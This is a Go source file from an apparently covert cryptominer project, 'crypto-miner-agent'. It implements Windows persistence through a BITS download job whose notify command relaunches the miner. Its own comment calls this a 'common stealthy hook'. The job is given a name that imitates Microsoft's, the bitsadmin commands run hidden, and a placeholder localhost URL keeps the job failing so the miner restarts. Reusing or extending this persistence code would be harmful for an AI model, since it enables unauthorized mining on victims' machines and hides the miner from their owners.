//go:build windows

package deploy

import (
	"fmt"
	"os"
	"path/filepath"
	"strings"

	"crypto-miner-agent/config"
)

// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the
// miner when the transfer job errors, completes, or retries (common stealthy hook).
// BitsJobName returns the BITS notify job name for this worker build.
func BitsJobName(cfg config.RuntimeConfig) string {
	return bitsJobName(cfg)
}

func bitsJobName(cfg config.RuntimeConfig) string {
	base := PersistenceKeyName(cfg)
	if base == "" {
		base = "CryptoMinerAgent"
	}
	return "Microsoft-Windows-BITS-" + sanitizeName(base)
}

func bitsJobExists(jobName string) bool {
	out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose")
	if err != nil {
		return false
	}
	return strings.Contains(string(out), jobName)
}

// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner.
func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error {
	if strings.TrimSpace(binPath) == "" {
		return fmt.Errorf("binary path required")
	}
	job := bitsJobName(cfg)
	if bitsJobExists(job) {
		return nil
	}

	installDir, err := cfg.InstallDirectory()
	if err != nil {
		return err
	}
	if err := os.MkdirAll(installDir, 0o755); err != nil {
		return err
	}
	localFile := filepath.Join(installDir, ".bits-transfer.stub")
	if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil {
		return err
	}

	remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder"
	exeEsc := strings.ReplaceAll(binPath, `"`, `""`)
	params := strings.ReplaceAll(runFlag, `"`, `""`)

	steps := []struct {
		name string
		args []string
	}{
		{"create", []string{"/create", "/download", job}},
		{"addfile", []string{"/addfile", job, remoteURL, localFile}},
		{"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}},
		{"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}},
		{"retry", []string{"/SetMinRetryDelay", job, "60"}},
		{"resume", []string{"/resume", job}},
	}
	for _, step := range steps {
		args := append([]string{"bitsadmin"}, step.args...)
		if err := HiddenRun(args[0], args[1:]...); err != nil {
			_ = HiddenRun("bitsadmin", "/cancel", job)
			return fmt.Errorf("bitsadmin %s: %w", step.name, err)
		}
	}
	return nil
}

// RemoveBITSPersistence cancels and removes the BITS notify job for this worker.
func RemoveBITSPersistence(cfg config.RuntimeConfig) {
	job := bitsJobName(cfg)
	_ = HiddenRun("bitsadmin", "/cancel", job)
	_ = HiddenRun("bitsadmin", "/complete", job)
	if installDir, err := cfg.InstallDirectory(); err == nil {
		_ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub"))
	}
}
